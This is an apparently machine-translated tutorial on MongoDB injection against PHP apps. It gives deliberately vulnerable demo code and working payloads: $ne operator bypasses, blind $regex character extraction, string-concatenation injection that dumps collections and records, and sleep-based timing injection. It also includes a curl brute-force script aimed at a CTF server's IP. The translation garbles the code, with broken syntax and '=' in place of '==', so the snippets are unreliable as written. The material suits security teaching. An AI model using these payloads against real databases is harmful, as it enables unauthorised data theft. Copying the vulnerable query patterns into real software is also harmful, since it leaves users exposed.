Preface
For more information about how to install and run mongodb and how to operate mongodb using php, see my previous articles.
There are already posts on mongodb operations in php in China, but there seem to be few articles about mongodb injection attacks based on php. This article is a summary of the author's learning and reading a large amount of information. The attack techniques and intellectual property rights involved in this article are all owned by the original author. I am just a Porter of nature. Please do not reprint it without the consent of the author.
Summary
There are two ways to operate mongodb in php:
1. Use the corresponding method in the mongo class to perform addition, query, subtraction, and modification, for example:
<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Coll = $ db-> test; // select a set
$ Coll-> save (); // add
$ Coll-> find (); // query
$ Coll-> remove (); // subtract
$ Coll-> update (); // modify
The input parameter is an array.
2. execute a string using the execute method, for example:
<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Query = "db. table. save ({'newsid ': 1})"; // add
$ Query = "db. table. find ({'newsid ': 1})"; // query
$ Query = "db. table. remove ({'newsid ': 1})"; // subtract
$ Query = "db. table. update ({'newsid ': 1}, {'newsid', 2})"; modify
$ Result = $ db-> execute ($ query );
In this case, the parameter passed to the execute method is the string variable $ query
In particular, the string writing syntax is js writing syntax.
There are different injection attack methods for the preceding two different execution methods.
Injection Attacks
0. Before an attack, we need to create a set as the basis for the attack.
User test is a test account for which attackers already know the account and password. The passwords of other accounts are random. You want to obtain the password of another account through injection.
1. Injection during array binding
A query demo bound to an array is as follows:
<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Coll = $ db-> test; // select a set
$ Username = $ _ GET ['username'];
$ Password = $ _ GET ['password'];
$ Data = array (
'Username' => $ username,
'Password' => $ password
);
$ Data = $ coll-> find ($ data );
$ Count = $ data-> count ();
If ($ count> 0 ){
Foreach ($ data as $ user ){
Echo 'username: '. $ user ['username']. "</br> ";
Echo 'password: '. $ user ['password']. "</br> ";
}
}
Else {
Echo 'not found ';
}
?>
At this time, the attack utilizes a feature that php can pass array parameters.
When the input url is:
Http: // 127.0.0.1/2.php? Username = test & password = test
The statement is executed:
Db. test. find ({username: 'test', password: 'test '});
If the entered url is as follows:
Http: // 127.0.0.1/2.php? Username [xx] = test & password = test
$ Username is an array, which is equivalent to executing the php statement:
$ Data = array (
'Username' => array ('XX' => 'test '),
'Password' => 'test ');
Mongodb parses multi-dimensional arrays and finally executes the following statement:
Db. test. find ({username: {'XX': 'test'}, password: 'test '});
With this feature, we can pass in data, which is an operator (greater than, less than, equal to, not equal to, etc.) of the array key name to complete some of the queries that attackers expected.
For example, input url:
Http: // 127.0.0.1/2.php? Username [$ ne] = test & password [$ ne] = test
The result is shown in the figure below.
Because the input key name $ ne is a mongodb operator, the statement is finally executed:
Db. test. find ({username: {'$ ne': 'test'}, password: {'$ ne': 'test '}});
This statement is equivalent to SQL:
Select * from test where username! = 'Test' and password! = 'Test ';
Directly facilitates data in all sets.
If the user name and password cannot be displayed at this time, a logical positive or false judgment is returned.
Then we can use the $ regex operator to obtain data in one bit.
Case study: http: // 121.40.86.166: 23339/
This is a question in hctf.
I guess the php code is as follows:
<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Coll = $ db-> test; // select a set
$ Lock = $ _ POST ['lock'];
$ Key = $ _ POST ['key'];
If (is_array ($ lock )){
$ Data = array (
'Lock' => $ lock );
$ Data = $ coll-> find ($ data );
If ($ data-> count ()> 0 ){
Echo 'The lock is right, but wrong key ';
} Else {
Echo 'lock is wrong ';
}
} Else {
If ($ lock = 'aabbccdd' & $ key = 'aabbccdd '){
Echo 'Your flag is xxxxxxxx ';
} Else {
Echo 'lock is wrong ';
}
}
?>
In this case, because there are only two types of Echo: "correct" or "error", we can only use regular expressions to judge whether one digit reads the lock content.
The usage of payload for this question is as follows:
<? Php
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_URL, 'http: // 121.40.86.166: 23339 /');
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ ch, CURLOPT_POST, 1 );
$ Ori = '0123456789abcdefghijklmnopqrstuvwxyz ';
$ Str = '';
For ($ I = 0; $ I <10; $ I ++ ){
For ($ j = 0; $ j <strlen ($ ori); $ j ++ ){
$ Post = 'key = 1 & lock [$ regex] = ^ '. $ str. $ ori [$ j];
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post );
$ Data = curl_exec ($ ch );
If (strlen ($ data) = 319 ){
$ Str. = $ ori [$ j];
Echo $ str. "rn ";
Break;
}
}
}
?>
The result is as follows:
It is equivalent to executing multiple queries in the database:
Db. test. find ({lock: {'$ regex': '^ a'}); db. test. find ({lock: {'$ regex': '^ B'}); db. test. find ({lock: {'$ regex': '^ c'}); db. test. find ({lock: {'$ regex': '^ Ca '}});...... ...... Db. test. find ({lock: {'$ regex': '^ aabbccdd '}});
Finally, all the string content is guessed, similar to the blind injection in SQL injection.
2. Injection during string concatenation
Different programmers have different writing habits because of the variety of string splicing methods.
This document only uses several demos as an example.
<? Php
$ Username = $ _ GET ['username'];
$ Password = $ _ GET ['password'];
$ Query = "var data = db. test. findOne ({username: '$ username', password:' $ password'}); return data ;";
// $ Query = "return db. test. findOne ();";
// Echo $ query;
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo;
$ Data = $ db-> execute ($ query );
If ($ data ['OK'] = 1 ){
If ($ data ['retval']! = NULL ){
Echo 'username: '. $ data ['retval'] ['username']. "</br> ";
Echo 'password: '. $ data ['tval'] ['password']. "</br> ";
} Else {
Echo 'not found ';
}
} Else {
Echo $ data ['errmsg '];
}
?>
Attack method:
Http: // 127.0.0.1/1.php? Username = test' & password = test
Error. Try to close the statement.
Http: // 127.0.0.1/1.php? Username = test'}); return {username: 1, password: 2} // & password = test
This statement returns an array with the username key value 1 and password key value 2.
Mongodb version explosion
Http: // 127.0.0.1/1.php? Username = test'}); return {username: tojson (db. getCollectionNames (), password: 2}; // & password = test
Blow all set names
PS: because db. getCollectionNames () returns an array, you need to use tojson to convert it to a string. Mongodb functions are case sensitive.
Blow the first data in the test set
Http: // 127.0.0.1/1.php? Username = test'}); return {username: tojson (db. test. find () [0]), password: 2}; // & password = test
The second data entry in the test set
Because the execute method supports multi-statement execution, too many statements can be executed ~
Of course, sometimes no data is returned from the output. What should I do at this time?
In the high version, a function sleep () is added, that is, time-blind injection ~
PS: In a high version, it seems that you cannot use the annotation statement. In addition, a new feature of the high version is that error echo is enabled by default. The author tried not to annotate successfully, and only the closed method can be used.
Http: // 127.0.0.1/1.php? Username = test'}); if (db. version ()> "0") {sleep (10000); exit;} var B = ({a: '1 & password = test
The delay was 10 seconds.
Another demo
You can use the $ where operator in Mongdb. It is equivalent to the where restriction statement in an SQL statement. The $ where operator in mongodb often introduces a js function as a restriction. Injection is generated when the strings in the js function have unfiltered user input.
Release demo:
<? Php
$ Mongo = new mongoclient ();
$ Db = $ mongo-> myinfo; // select a database
$ Coll = $ db-> news; // select a set
$ News = $ _ GET ['news'];
$ Function = "function () {if (this. news = '$ News') return true }";
Echo $ function;
$ Result = $ coll-> find (array ('$ where' => $ function ));
If ($ result-> count ()> 0 ){
Echo 'This news exist ';
} Else {
Echo 'This news does not exist ';
}
?>
For testing, I have created two sets, one of which is the news set. Injection exists in the query process. The other is the user set. We need to inject the data into it.
In the code, this. news refers to the news column (field) in the table. The above code is translated into an SQL statement:
Select * from news where news = '$ news'
The injection method of this demo can be referred to as follows:
Http: // 127.0.0.1/3.php? News = test
Return normal
Http: // 127.0.0.1/3.php? News = test'
Error returned
Http: // 127.0.0.1/3.php? News = test' % 26% 26 '1' = '1
Return normal
Http: // 127.0.0.1/3.php? News = test' % 26% 26 '1' = '2
Error returned
So far, the injection is detected and data is obtained.
Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames (). length> 0% 26% 26 '1' = '1
Returns normal. The number of sets is greater than 0.
Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames (). length = 5% 26% 26 '1' = '1
Returns normal. The number of sets is equal to 5.
Get set name
Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames () [0]. length = 6% 26% 26 '1' = '1
The returned result is normal. The length of the first set name is 6.
Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames () [0] [0]> 'A' % 26% 26 '1' = '1
Returns normal. The first character of the first set name is greater than.
Http: // 127.0.0.1/3.php? News = test' % 26% 26db. getCollectionNames () [0] [0] = 'M' % 26% 26 '1' = '1
The returned result is normal. The first character of the first set name is m.
Finally, the user set can be cracked.
Query the first data in the user set.
Http: // 127.0.0.1/3.php? News = test' % 26% 26 tojson (db. user. find () [0]) [0] = '{' % 26% 26 '1' = '1
Because db. user. find () does not return a string and cannot retrieve the character for comparison, we can convert it into a json string for comparison. The truth is that the rest is physical, and you can use python or php to write a small script to achieve automation.
Referer
Http://drops.wooyun.org/papers/850
Http://webcache.googleusercontent.com/search? Q = cache: fPNiwObqKcEJ: cached